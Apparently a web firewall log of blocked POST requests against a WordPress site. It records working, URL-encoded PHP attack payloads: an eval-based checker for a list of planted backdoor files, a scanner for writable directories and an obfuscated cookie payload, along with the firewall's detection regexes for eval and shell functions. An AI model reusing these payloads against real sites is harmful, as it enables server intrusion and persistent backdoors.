k-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-18 14:15:44","68.178.173.85","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-length:9226\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\nphaqOW=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-18 15:35:47","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ow:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3339\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 